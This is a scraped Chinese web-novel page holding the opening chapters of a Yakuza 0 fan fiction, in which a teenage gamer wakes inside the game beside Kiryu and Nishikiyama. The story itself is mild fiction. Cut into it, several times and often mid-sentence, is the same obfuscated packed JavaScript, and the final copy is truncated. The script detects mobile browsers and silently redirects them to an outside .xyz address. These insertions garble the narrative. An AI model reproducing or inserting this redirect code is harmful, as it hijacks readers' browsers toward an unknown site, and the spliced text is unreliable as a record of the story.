《[如龙]花市总攻不想被虐》 1. 第 1 章 清原夏野,17岁,昨天全款买下steam平台上的《如龙0:誓约的场所》。按照他打游戏的习惯,他决定先推主线捋一下剧情再慢慢玩。 十来个小时以后,清原夏野不知不觉就把主线剧情过完了,还有点意犹未尽, 坐了这么久,浑身上下没有一处不酸的,清原夏野揉着麻木的手腕起身,准备简单吃点东西再继续二刷,眼前一黑,身体不由自主地栽倒下去。 “喂,快借点钱来用用啦,都说以后会还你的,听到没!” 脑袋像是被一把钝重的铁锤敲过一样,疼的几乎要裂开。喉咙被狠狠掐住,只能发出带着血腥味的沙哑气音。 清原夏野费力的睁开眼睛。 掐着他脖子的男人戴着黄色格纹的鲜艳头巾,满脸横肉,面目狰狞。 好老土,清原夏野被掐得喘不上气,甚至还有闲心默默腹诽,不过这样的丑头巾有点眼熟,似乎在哪看过。 清原夏野目测了一下自己和对面的实力差距。 对面三个人,自己一个人。 对方是职业混混,自己是柔弱高中生。 很好,打不过。 “不,不要这样,请放开我吧。” 好奇怪,明明紧闭的嘴巴却不受控制地一张一合,发出窝囊的求饶声,就像被某种存在控制了声音似的。 听到他求饶的混混反而更加愤怒了:“啰啰嗦嗦地讲啥啊,快点掏钱就对了。” 清原夏夜也想要识趣地掏钱,但手上完全动不了。 “呜呜,谁来救救我。” “干嘛啊,看什么看啊混蛋。”站在后面的混混突然出声,但他面朝的方向不是清原夏野这边而是小巷的入口,清原夏野顺着他的眼神望过去。 小巷临街的入口正站着一个高大的男人,黑西装白衬衫,看衣着似乎是推销员或者白领,但办公室职员绝不会有如此健硕的体格。 随着男人走近,他的面容在清原夏野的眼前逐渐清晰。 哦莫,是主角啊。 清原夏野完全放弃挣扎了,他不仅来到了正在玩的游戏里,还知道自己正处于哪段剧情,顶替的是哪个npc。 《如龙0》的开头,桐生一马在找好兄弟锦山彰的路上,在小巷子救了个被小混混敲诈勒索的路人,他现在就被控制着在走这位路人的戏份。 好在脸似乎还是自己的脸,身体也是自己的,清原夏野狠狠松了口气,还好不是魂穿,做了十七年的大帅哥,要是穿到个丑男身上多少有点考验人的接受程度。 “喂,那家伙该不会是道上兄弟吧。” “笨哦,就算是混道上的,他年纪跟我们也差不了多少,顶多算是个打杂的吧。”小混混们小声交流。 清原夏野听到了又是一阵无语。 主角虽然面庞坚毅,体格也过分健壮,但能看出大概是二十出头的年纪。反观三个小混混形容猥琐,肤色蜡黄,说是三四十岁的大叔还靠谱点。 “你们…是第一次来这地区吗?” “哈,那又怎样?” “这一带可是我们组的地盘啊,如果是经常出入神室町的人,绝不会在这一带做蠢事。” 在桐生一马与炮灰混混对话的当下,清原夏野正和自己脑子里突然出现的球状生物大眼瞪小眼:“是你操控我说那些丢人的话的吧。” “淡定,新手保护期必要的身体托管而已啦,以后不会了。”小球出声安抚他。 “你说什么!□□流氓凭什么摆架子说教啊!欠扁吗!” 小混混的吼叫打断了一人一球的脑内对话,清原夏野眼睁睁地看到小球露出不耐烦的表情,它不知碰了哪里,外界的噪音都消失了。 “请问你是什么?”清原夏野好奇。 “我是【花市总攻不想被虐系统】。”系统回答。 花市、总攻、被虐,这些词让清原夏野产生了不妙的预感,他硬着头皮继续问。 “是你让我来到游戏世界里来的?为什么会选上我?” 系统冷漠:“因为你是第一个玩这游戏把自己累到猝死的倒霉鬼啊。” 清原夏野心中隐约有了些猜测,按照一般的套路,这个长得像个球的系统需要自己帮忙完成任务,任务完成后会有复活、回到原世界、实现愿望等诸如此类的奖励。 「你需要攻略游戏里的直男角色,只要收集满999的虐心值我就送你回家,当然,这里的攻略指的是恋爱上的,想要走友情路线完全不可以哟。」 999虐心值?那岂不是要被拒绝999次,太夸张了吧。 「当然不是这么死板的计算方式」系统意识到清原夏野的想法,解释道「攻略对象的番位、对你的厌恶程度等变量都会影响虐心值的综合评定。攻略对象在剧情中的重要程度越高,对你的厌恶程度越强,就能更快收集到虐心值了。」 清原夏野蹙起眉:“可是我不喜欢男人啊。” “拜托,你又不是没玩过游戏,这帮混道上的家伙哪个像是喜欢男人的样子啊,”系统要是能翻白眼都想把白眼翻到天上:“知道你对攻略男人比得知自己死掉还要抵触啦,大家都是正儿八经的异性恋,装装样子走个流程而已,又不是真让你被虐身虐心,而且攻略不会对同性心动的直男,虐心值更容易收集到,你也能更快完成任务复活回家了。” 清原夏野还在犹豫,系统却没有那么多时间供他考虑了,它急切地催促道。 「看到你面前的操作面板了吗?你现在可支配的金钱一共有1000万日元,你可以选择现在拿着这些钱直接回家,同样你也可以选择留下来完成攻略任务,拿着100万倍的奖金回到原来的世界,去过真正的有钱人生活。」 “1000万倍?那是…”清原夏野怔怔重复。 「10兆日元。」 清原夏野眼前一亮,管他什么直男不直男的,那可是十兆日元啊!就算被那些战力爆表的游戏人物暴打到只剩一口气,能带着这些钱回现实世界也值了。 不管怎么说,这钱他是赚定了! 他又想到系统说攻略对象的番位会影响虐心值,那样的话,桐生一马作为游戏主角必定是当之无愧的一番,完成任务最快的方法岂不是近在眼前了? 清原夏野目光移向刚教训了三个挑衅的小混混的桐生一马,不得不说,主角不愧是本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472636|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的战力天花板,打架的场面让人热血沸腾叹为观止,小混混在他手底下就像是可以被拎来拎去的小鸡仔。 这可是《如龙》世界,与其操心主角的战斗力还不如担心自己这个战五渣被伤到。 “系统,”清原夏野灵光一现,在脑子里戳了戳小球:“你刚刚说攻略对象对我的厌恶程度也会影响虐心值。” “没错。” “那我先把他的好感刷上来,再背后搞事情背叛他,然后再刷他的好感再背叛,像这样多来几次,岂不是能无限加虐心值?” “就你机灵,还会叠buff是吧。”系统气笑了:“理论上的确可行,不过我得警告你轻点浪,桐生一马的好感度不是那么好刷的,你凭什么认为你背叛他之后还能刷得到他的好感?” “那倒是。”清原点点头表示认同。 “再说你打不过他的,万一你玩脱了死在这个世界,别说那十兆日元,连你自己也别想回家了。” “喔喔,下手还是一样不知轻重呢。” 新来的青年身穿一身枪驳领的红色西装,花衬衫的领口解开了上面的三个扣子,露出结实的胸膛,领子时髦地外翻出来,皮带上的金色带扣闪闪发光,格外惹眼,特意打理过的中分发型格外有型,鼻梁英挺,仪表堂堂。 清原夏野又是精神一振。 这个男人名叫锦山彰,按戏份来说是如龙0里的男二,只一会儿就遇到两个主要角色,不得不说还真是幸运。 “等了那么久你还没来,还以为被你放鸽子了。” “正好相反,我是因为一直不见你人影,所以才像这样打发时间啊。” “怎么有人用打架打发时间,怎么不乖乖去会所就好,又不是小鬼了。” “我对那没兴趣。” “还是那么死脑筋耶,算了,总之去喝一杯吧,好久没喝了,拼个通宵吧?” “好。” “那个,谢谢你们!”清原夏野鼓起勇气冲着他们的背影喊道。 并肩走着的桐生一马和锦山彰闻声回头。 “非常感谢您救了我,两位请务必让我请客!” 系统可是给了他一千万的初始资金哎,总不至于一顿饭就花掉一千万嘛。 这家伙可真是个怪人,锦山彰挑了挑眉,转了一圈手指上勾着的车钥匙,他刚刚买了新车,手头不怎么宽裕,虽然请好友玩乐的钱还是出得起,但现在有人上赶着被宰干嘛不同意。 “行啊,那你就和我们一起来吧。” 这孩子明显还是个未成年,没必要和道上的人扯上关系吧。自己初中毕业就加入堂岛组,现在也只有20岁的桐生一马忍不住微微皱眉。 “喂小鬼,你多大了?” “十七。” “你少婆婆妈妈的啦,我们这个年纪的时候已经和组里大哥们去风俗店了。”锦山彰打断桐生一马未出口的劝阻,自顾自下了决定:“那就去粉红大街好了,那一带有不错的店家。” 清原夏野心里一万个情愿,他在玩游戏的时候就对平成时代的夜生活充满好奇了,什么夜总会泡泡浴都尽情来吧,千万别因为我是个未成年就怜惜我! 2. 第 2 章 “不过啊,你也越来越有模有样了耶,已经称得上是够格的极道了,今天的讨债工作也已经结束了吧。” “呵,难说吧,很不巧我的长处只有打架厉害而已,没有像你那样能干。” 桐生一马和锦山彰走在大街上,路人看到这两个青年壮硕的体格和他们胸前东城会的徽章都唯恐避之不及地绕道走,锦山似乎也意识到了这一点,他挺了挺胸膛,脸上显露几分得色,清原夏野乖乖跟在他们后面。 现在的桐生一马和锦山彰还只是堂岛组麾下的若众,主线剧情“空白的一坪”事件刚刚开始,这对挚友还没有走上陌路,锦山彰还活着。 清原夏野眨了眨眼睛。 虽说性取向是天生的,当基佬是万万不能,不过作为《如龙》系列游戏的忠实玩家,如果讨厌游戏里的角色绝对不会玩那么多部。所以当桐生一马和锦山彰真实地出现在他面前时,清原夏野真实的感受到了玩家对喜欢角色的憧憬。 当成游戏衍生的鬼畜支线来玩的话,做出攻略的态度收割虐心值似乎也不是很让人抗拒。 不过就算这么说,面前两个人可是暴躁的异性恋混混,清原夏野低头看看自己的小身板,不由得默然。 要是表现出有什么不良企图,绝对会被打死吧。 锦山彰这边刚和好兄弟发表了一番“极道要体面”的言论,他低垂着鹰隼似的双眸,也在打量这个主动当冤大头的小鬼。 少年穿着简单的白衬衫和牛仔裤,微卷的短发染成浅棕,皮肤白皙,神色略有倦怠。虽然年纪小,脸也长得嫩,比时下当红的艺人还要好看。 锦山不太能欣赏男性的长相,只觉得光是他这张脸就能吸引不少女人为他一掷千金了,要是不念书去当小白脸的话怕不是要赚死。 清原夏野感受到了锦山直白到近乎冒犯的目光却丝毫不在意,他以前从来没来过歌舞伎町,只顾好奇地探头探脑到处看。 走在最前面的桐生一马突然停住了脚步。 “怎么了,前面有人打架吗?”锦山问,清原夏野从他的声音里听出几分跃跃欲试。 “好像是。” 清原夏野探头向前面看去,只见一个大学生和一个社畜中年人斗鸡一样站在小巷里的一家酒馆门口,两个人看似都喝了不少,嘴里不知道在絮絮叨叨在说些什么玩意,互相对着打王八拳。 对付这两个醉鬼,桐生一马一个人就够了,他活动了一下手腕,向站在小巷中间的大学生和社畜中年人走去。 清原夏野躲在锦山的身后,看着两个醉鬼被突然冒出来的桐生一马吓了一大跳,他们胡乱地挥着拳却挥了个空,根本打不到桐生一马。 穿着入时的大学生正为自己的起手式看上去很标准而沾沾自喜,深感自己是个能文能武的稀世奇才。面前青年铁钳一般的大手拎起来他的衣领,他双脚离地,被狠狠掼到背后的铁质卷帘门上,桐生的小臂肌肉虬结着隆起,只两拳下去,大学生的身体便无力地顺着卷帘门滑下,也顾不上唯一的名牌衬衫领口被攥成了咸菜干,翻着白眼嗬嗬抽气。 自从1991年日本政府公布《暴力团对策法》之后,极道这股暗流虽仍在社会的表皮下涌动,但在警方的打击之下,其行为愈渐收敛。以至于千禧年后出生的清原夏野,仅仅是在电视或者网络上看到有关极道的报道,从未见过所谓的道上人士。所以当他直面真实的打斗场景,哪怕知道桐生周身溢出的迫人气势并不是针对自己,清原夏野还是不免呼吸一窒。 他真的要攻略这种人吗? 他真的能攻略这种人吗? 正在他心情复杂的时候,桐生似是察觉到他的目光,不期期然的转过头来与他对视。光线昏暗的巷子里,桐生的双眼冷且亮,似是大力敲击燧石时亮起的火光,清原夏野心头一跳,几乎是硬撑着不迅速避开他的视线。 一旁的社畜中年人见到大学生被打倒,先是在原地愣了半天才想起要攻击桐生,他大喝一声,歪歪扭扭地朝着桐生冲过去,看起来好像是想要抱住桐生的腰将他撂倒。 桐生一马略微闪身躲过了他的攻击,他抓住了中年人的衣领,在半空中抡起的重拳眼看要揍上那人的左脸,他却面现一丝犹豫之色,放下了即将挥下的拳头。紧接着,他不知道从哪摸出个盐罐来,豪迈地朝着那人的眼睛撒盐,中年人捂住眼睛发出惨嚎,他的身上迸出一张张纸币,飞到桐生的口袋里。 游戏里的战斗方式放到现实居然那么鬼畜,清原夏野看得目瞪口呆。一同观战的锦山还是一副习以为常的表情,完全没觉得有哪里不对:“好啦,既然已经解决了,我们赶紧去喝酒吧。” 说着,他抓着清原夏野的手臂往前走去。 桐生丢下背后被「人格修正拳」修理到酒醒并患难见真情,开始勾肩搭背、称兄道弟的两个醉鬼,沉默地跟上了他们。 清原夏野悄悄抬眼打量走在他右边的桐生一马。 尚且年轻的「堂岛之龙」绷着脸,盯着手里的盐罐,不知道在想些什么。 清原夏野突发奇想,桐生一马该不是因为看到他害怕才放弃殴打那个中年人,转而使用盐罐的吧? 即便是这样,也是因为主角他人善,自己没什么可自作多情的。 “锦山~” 他们穿过一条小巷,还没走出几步,路边两名打扮成熟艳丽的女性注意到了他们一行人,在看清走在前面的锦山彰后,她们眼睛一亮,兴冲冲地跑过来,锦山彰也是一副看到熟人的态度,抬手轻快地打了个招呼。 “那两个女的是谁?”桐生皱着眉问。 “是「在校女大学生公关小姐」小圆和小唯啊。” 锦山话音刚落,两名女生已经小跑到他们面前,一人一边摇着锦山的手臂和他撒娇。 ”诶,我都打比比扣给你了,你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472637|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回我电话嘛,下次什么时候来店里呀~” “今天晚点我就会过去了。” “真的吗?” “怎么,难道你不相信我吗?”锦山露出一个足以使女人们心折的迷人笑容,显然他很擅长应对这种状况。 ”嗯,虽然人家很想要相信~” 是漂亮的大姐姐! 清原夏野眼睛发直,偷偷咽了咽口水。作为一个正常的17岁高中生,比起硬邦邦的男人,还是美艳御姐更有吸引力。 锦山彰轻车熟路地用钱打发走两位公关小姐,瞟了一眼清原夏野,后者则立即移开落在美女身上的目光,假装什么都没看。 果真还是个没见过世面的孩子呢,锦山彰好笑地暗想。可惜这家伙还没有成年,要不今天晚上就能带他见识见识,好在他准备要带这两人去的地方就算是未成年也没问题。 锦山彰带着他们走进路边的一家居酒屋,酒保认出了这个熟客,拿出了他上次寄存在这里的威士忌。 “我也要喝酒。”清原夏野看酒保只端上了两个放着冰球的杯子,不满道。 酒保尴尬苦笑,他哪里敢给未成年人上酒,还想不想做生意了,只能向和少年一起来的两名一看就不好惹的青年投去求助的目光,寄希望于疑似监护人的两人能帮忙劝劝。 不料锦山彰不但不劝阻,反而哈哈笑道:“清原老弟也想喝酒吗?哈哈真不错啊,喂!给他也来个冰杯!” “少给店家添乱了,锦。”正当清原暗暗窃喜之际,一道浑厚的声音在他身后响起,清原夏野一激灵,回头看到皱着眉的桐生一马。 对方也瞥了他一眼,接着说:“给他一杯橙汁。” 清原夏野不敢和桐生顶嘴,只好垮起一张小猫脸,咬着吸管慢慢喝着橙汁。 “生气了?没办法,这家伙就是喜欢多管闲事。” 锦山彰看他垂着头,半天不说话,主动凑过来打圆场:“你别看他现在跟你这个样子,悄悄跟你说,他在女人那里也完全吃不开,女招待们看到他这张冷冰冰的脸吓都吓死了,根本就没有人敢往他身边凑哈哈哈…”?他的笑声在桐生一马投来的死亡凝视下戛然而止。 偏偏清原没有意识到逐渐凝固的气氛,深以为然地点点头顺着他的话说了下去:“给我一杯加饮料的气泡水,骗我是鸡尾酒也不是不行,桐生先生可真是固执。” 桐生一马深深看了他一眼。 初次见面便随意调侃年长者,但因为态度过于自然可爱,又不至于让人和他计较。 像是狡黠的猫儿一样。 “下次,我会记得的。”仿佛是被那撒娇一般的眼神在胸口轻轻抓过,不自觉地就做出了关于下次的承诺。 “好啊。”清原夏野不甚在意地应声,继续埋头喝他的橙汁。 桐生一马唇线紧抿,心中涌上一股莫名的烦闷,拿起面前的杯子一饮而尽。 3. 第 3 章 「在东京湾,因不如人意的耳环而像气泡一样涌出泪水的你的眼眸」 「滴滴嗒嗒,让人念念不忘的声音」 「我再也无法伪装」 「不过是八分的小心机,却足以把我蛊惑。」 点唱机里自动播放的歌是清原夏野蛮喜欢的《Happiness》,他突然意识到这首在他生活的时代已经很少人听的老歌竟然是这个年代的新歌,终于有了几分跨越时空的实感,心情很好地随着伴奏哼唱。 锦山看一眼一旁闷头喝酒的好兄弟,再看一眼沉迷在音乐中毫无察觉的清原夏野,深深叹了口气,主动承担起调节气氛的重担。 他俯身在清原夏野耳边低声说:“那家伙正为做错了事后悔,你现在和他提要求的话,他大概率都会答应的哦。” 清原夏野转头,半信半疑地打量桐生冷峻的侧脸。青年明显也听到了他们的悄悄话,表情紧绷着,怎么看也不像是好说话的样子。 不过机会难得,清原夏野迅速窜到卡拉ok机点了《像笨蛋一样》,把麦克风又递给了桐生一马。 “我不会。”对上对方满含疑问的眼睛,清原夏野坦然地说。 “是想要我唱吗?”桐生紧皱的眉头逐渐舒展开。“真是没办法。”他这样说着,还是接过少年手上的麦克风,走到居酒屋的空地上。 年代感十足的深情歌声里,锦山彰和周围的客人一起热烈地打着拍子,清原夏野单手支颐靠着吧台,见证这一游戏里的名场面,头顶迪斯科灯球的光影倒映在他的眼中,有如这场泡沫时代幻梦的短暂留影。 「既然提什么要求都会被答应」系统懒懒地漂浮在他的脑海里,悠悠开口:「你怎么不趁这个机会让他和你交往。」 「那我绝对是想死想疯了」清原夏野打断它的作死提议:「去去去,少害我了。」 “没想到你唱得这么好,肯定平常就躲起来练习吧。”那一边,锦山彰拍着桐生的肩膀大声笑着说。 “都是因为这家伙要我唱,我不得已才会跟着他胡闹而已。”桐生刚毅的面容染上一丝窘色,清原夏野在一边笑而不语。 几杯酒入腹,锦山彰也借着酒意聊起了自己的现状:“现在在组里做收保护费、公关小姐招募管理这些工作,一年大概能有几千万到手吧。” ”真厉害,锦山哥真有赚钱头脑。”清原夏野惊叹,接着又说:“现在来钱很容易吧,但不好好规划用处的话,以后恐怕没法一直这样潇洒。” ?“你说的倒也没错啦,”锦山彰苦笑:“但我们混这条道上的人光是各种日常应酬之类维持面子的开支就不少,一般刚拿到钱就豪爽地开花了,压根存不下什么。” “节流只是一方面,最重要的还是开源吧,拿到酬劳后趁着现在搞一些投资也可以啊,”清原夏野努力回忆着泡沫经济时期的股市:“像是NTT(日本电报电话公司)的股票就很不错,明年年底前记得及时抛售就好。” 清原夏野说这话是发自真心,锦山脑子机灵又会赚钱,如果不当混混的话,在这机会俯拾即是的时代,人生肯定会很不错。至少现在趁着牛市多攒下点钱,就不会在几年后为了筹集妹妹的治疗费被自己的组员欺负。 锦山彰一怔。 他在组里摸爬滚打几年,虽然不会为基本的生活感到忧虑,心中却始终伴随着天外有天、人上有人这一对于现状的不满。在他的观念里,既然已经当了□□,要是不出人头地就没有意义了。 他上学那个时候同级的优等生都是眼高于顶,尤其看不起他们这些头脑不行,完全不入流的小混混,觉得他们的人生从一开始就烂掉了。桐生一马从来不在意那些人的眼光,他只要认准了一件事就毫不动摇,对于任何阻力都毫不妥协,是个全然按照自己想法生活的男人,但锦山没办法不去在意那些声音和视线。 转悠在神室町的短街窄巷,像是皮条客一样带着各种类型的公关小姐去坐组里大哥的台,从他们那里得到一些好处,然后眼都不眨地买下名牌西装和都彭的打火机,试图通过这些昂贵的东西证明自己没有落后,证明自己已经融入这个社会,证明自己没有低人一等。 像是这样炫耀自己的见识,看到少年睁大眼睛、露出感兴趣的表情,大大满足了锦山彰的虚荣心,而且少年不会刻意去附和他,而是噙着笑意静静地听着, 锦山彰心头一热,他借着酒意揽过清原夏野的肩头,肌肉紧实的手臂混杂着汗水和男士古龙水的气味,清原夏野不太适应来自他人的身体接触,被他突如其来的亲昵举动吓了一跳。 “清原你喜欢什么样的女人?” “啊?” “喜欢什么类型的女人,有什么具体要求,我都可以让妈妈桑给你介绍,包你满意哦。” “你别逗他了。”桐生一马哼笑一声。 “好哦,等我成年以后再说。”清原夏野笑着应下,他看其他两人喝得差不多了,便要悄悄起来结账。 “我们都是进入社会的人了,怎么可能真的叫你一个学生仔请客。”锦山断然按住他,喊来老板自己把帐结了。 果然相当在意自己的形象啊锦山。清原夏野默默感慨,他借着锦山彰起身去洗手间的时候,悄悄又回到吧台和服务生买了两瓶贵价威士忌寄存在锦山名下。 等他再出门时,等在外面的桐生一马淡淡地扫了他一眼,与锦山不同,桐生一马似乎对他缺乏兴趣。 “宝!刚刚虐心值动了!加了3点!”系统在他的脑子里大呼小叫。 清原夏野精神一振,不愧是主角,光一个冷酷的眼神就为他贡献了3点虐心值,虽然比起999的总量还不到零头,但这可是第一笔入账。 谢谢你,桐生哥! 桐生一马被他欣喜的眼神盯着,眉头紧皱:“这样看着我做什么?” 清原夏野还没开口,锦山彰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472638|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就甩着手上的水珠从居酒屋里走出来,他毫不客气地插到二人中间,及时避免了一起「你瞅啥」「瞅你咋滴」的闹剧。 “已经这个时间了,清原弟弟也该回去了吧。”他作势把湿漉漉的手往清原夏野脸颊上贴,嬉笑道:“之后是成年人的活动了哦。” “绝对不行!说好我要请客的!”清原夏野愤怒地拨开他的手:“不许说改天,都已经早上六点了还有什么成年人的活动,不许因为我比你们小几岁就觉得可以敷衍我!” “好好,没有拿你当小孩子。”锦山彰犹豫了一下,说:“那你请我们去吃拉面好了。” 清原夏野这才安静下来,他这一晚上在居酒屋只啃了几片饼干,现在也有些饿了,三人一同前往拉面店「天极轩」。 早上六点五十分,桐生和锦山吃完了各自的拉面,各夹着支烟吞云吐雾,只剩清原夏野仍旧苦苦和自己那一大碗面作斗争。 “昨晚11点左右,在神室町一角发现的年轻男性尸体,经化验证实曾遭激烈暴行,警视厅正朝杀人案方向侦办,并搜索现场附近。”头顶的电视机传来播报晨间新闻的女主播的嗓音:“目前已收到该案的后续报导,已查明年轻男性的身份,死者为家在东京境内的上班族,栗园太一先生,现年32岁。根据警视厅调查指出,栗原先生疑似积欠负数融资业者债务,今后将陆续传相关人士到案说明。” 锦山紧盯着电视机,表情逐渐严肃起来:“喂,桐生,新闻说神室町发生凶杀案。” “常有的事吧。”桐生低头看菜单,声音平淡,锦山的眉头拧得更紧了。 “你昨天说去收账的时候,狠狠地教训了一下对方是吧。” 桐生扭过头和他一起看向上方悬挂的电视机:“是我去收账的地方…不,我应该没有下手重到要他的命才对。” 对,你是没有杀人,但剧情注定你要背这个黑锅。清原夏野朝他的后脑勺投去同情的一瞥,默默放下筷子去结账,权当跳过已知剧情。 这边,桐生一马认出了新闻报道的死者正是昨天被自己催债的人,马上哔哔扣就接到组里传来的信息让他赶紧回电话,恐怕组里已经知道了这件事。即便桐生和锦山只是两个初出茅庐的愣头青,这下也知道事情严重了。 锦山彰烦躁地按灭了烟,脑子里疯狂的思考着对策。他转头看到结完账回来的清原夏野,才想起来还有另外一个人在场:“我们现在有急事要去处理,你也快回家去吧小鬼。” “有什么我能帮上忙的吗?”清原夏野点了点头,问道。 这次反倒是锦山彰先怔了一瞬,他本来以为得废一番口舌让这小孩不再纠缠。虽然和他们不是一路人,但清原夏野说话做事都很单纯真挚,和他相处下来也觉得很放松,要不是兄弟这边出了大事,锦山不介意平时多叫他出来玩。 “我把我的比比扣给你,以后要是再遇到麻烦的话可以打这个号码找我。” 4. 第 4 章 清原夏野和系统迅速了解了这个身份的情况,就是普通到不能再普通的高中生,父母也都只是大公司的高管,和极道势力没有一丝半点的关系。 眼下正是寒假,这个身份的父母正在澳洲度假。 “我还以为你能给我安排一个方便一点的身份,比如说……性转的牧村实什么的。”他坐在大别墅客厅的沙发里,和系统吐槽道。 “那你纯是想得美,”系统嘲笑他:“我能让你把这张脸带过来已经很仁慈了。” “也是,你估计也就只有这点水平了。”清原夏野毫不客气地回怼。 “你这菜鸡还有闲心说我,”系统气到跳脚:“刚刚桐生他们要走的时候你怎么不缠上去,这下好了,连主线剧情都没进去,我看你还怎么刷虐心值。” “你着急什么,”清原夏野拿起一旁的手冲咖啡壶,略微倾身,让水一圈圈打湿咖啡滤纸:“这个世界的本质是个动作冒险游戏,专门为主角这样能够单挑老虎的超级硬汉准备的,我跟着去能做什么,挨揍吗?” 接下来,桐生一马会为了调查「空白的一坪」事件的真相,为立华不动产工作,而立华不动产做的是灰色地带的生计,根本就不会接受一个武力值比鹅还要低的高中生加入。况且立华不动产的社长只是想和桐生合作,在这个时间上自己贸然去接触立华不动产的人,肯定会被怀疑别有用心。 「我没骗你,不参与主线剧情、不和主要剧情人物产生深刻交集的话确实没办法快速刷到虐心值,反正你手中有锦山彰的号码,不然你再打个电话给他…喂!你收拾行李干什么,该不会现在就怕到想跑了吧!” 「那你还是小看了十兆对人的吸引力,没拿到这笔钱之前我是不会跑路的。」清原夏野用力合上行李箱拖到门口:「但谁说我要一直待在歌舞伎町了?如龙0可是双主角啊,出发,去苍天堀。」 * 在东京一家大制药企业任支部长的山崎康一在要去大阪出差的前一天晚上,接到了正在度假的上司清原打来的越洋电话,托他带着正在念高中的独子一块去大阪。 毕竟是上司的要求,山崎不好拒绝也不敢怠慢,一大早就跑去旅行社订好了票,接上上司的儿子前往大阪。他本来做好了行程被搅得乌烟瘴气的准备,不想这位小少爷到了大阪之后便安安静静地待在酒店,没有嚷嚷着要他陪着出去玩,属实让他松了口气。 这样轻松的心情持续到签完订单将要返程的那天晚上,乙方代表邀请他去一探苍天堀的夜店,山崎半推半就地接受了,不料在酒店楼下被上司的儿子堵了个正着。 “对方盛情邀约没法拒绝也是很正常的事,我也不会和家里乱讲,”出乎他意料,少年听了他漏洞百出的解释后只是微微一笑,随即提出了一同前去的请求:“我只是听说苍天堀的夜生活很有意思,想见见世面而已。” 苍天堀的夜晚,一双双高档皮鞋踏着迎宾红毯踏入这家浪花区第一名的夜店——GRAND,爵士乐漂浮在每一寸空气中,钞票绕额头一圈如同酋长一样的男子把万元大钞塞进陪酒女郎丰满的胸前,又洒出大把钞票引得她们跪地捡拾,到处弥漫着声色的香气,像是一个洒满金箔的梦。 「现在进夜总会居然不用核验年龄,竟然被你混进来了,」系统啧啧称奇:「之后呢,你打算做什么,去找另一个主角吗?」 「反正都来了,我随机应变吧。」清原夏野在山崎先生“这么豪华的店,就算在东京也难得一见啊”的赞叹声中,漠然答到。 乙方代表想要和这家制药企业长期合作,对据称是企业高层公子的清原夏野的态度也是毕恭毕敬,带着两人到了二楼早就预定好的座位,更是在陪酒小姐们的哄劝下,一挥手直接点了六瓶香槟。 “这家店居然那么有名吗,我也是刚刚才听说呢。” “是啊,不久前经理换了人当,之后就突然爆红。” “喔,只是换了经理居然差了那么多吗?” “听说他不只是挖角,甚至连一些不太光彩的手段都动用了,总之是大刀阔斧做了不少事的样子,原本这家店什么都没有,就只有店面大一个优点,然而他却能让它转眼间就冲上第一名。”乙方代表抬手掩嘴,一副神秘兮兮的样子。 “哦,看来他还满有本事的呢。”山崎先生赞叹不已。 清原夏野一言难尽地扫了他们一眼。 若不是这二位的发言NPC感过于强烈,他还真想不起他们其实是剧情安排的托儿,出现在这里是为了铺垫接下来出场的这位主角身为“夜店之王”的能耐以及最重要的高光时刻。 楼下突然传来一阵骚动,原来是一楼大厅的客人借着酒劲不断骚扰陪酒小姐,甚至把咸猪手伸进了人家衣服里,侍应生过去制止反而被扔飞了出去。 乐队的演奏因这骚乱骤然停止,周遭一圈客人也惊得停下了交谈。山崎先生目睹这一幕简直被吓到魂飞魄散,想要拉上清原夏野赶紧跑路。 带他们来这里的乙方代表却仍然稳稳坐着,被情绪激动的山崎质问还笑着摆摆手:“没关系,马上就会解决的,居然有人选择在这里闹事,还真是想不开呀。” “所以说,你为什么能这么笃定啊。”山崎抱怨道。 “因为「他」会出面呀。”乙方代表一副期待着好戏的表情,盯住GRAND的门口,山崎和知道接下来会发生什么的清原夏野也顺着他张望的方向看过去。 一名身材高大削瘦的青年就这样踏着众人的目光走进来。 他全身黑西服,半长发在脑后束成马尾,一只眼被黑色眼罩遮住,独眼中一瞬流露出的骇人精光下一瞬被掩饰成温和平静。他的面容看上去像是二十出头,周身却流动着属于精明强干的成熟男人的气场,脚蹬一双金属尖头黑色蜥蜴皮鞋,如若是别人穿这样的鞋肯定会看起来浮夸可笑,可穿在他脚上只让人觉得无比合衬。 山崎先生好奇地把头探出栏杆,看到来人是个年轻人后有些失望:“他就是你说的那个男的?看起来只是负责平事的而已吧。” 乙方代表笑笑没有说话,示意他少安毋躁继续看下去。 青年走到正在发飙的醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 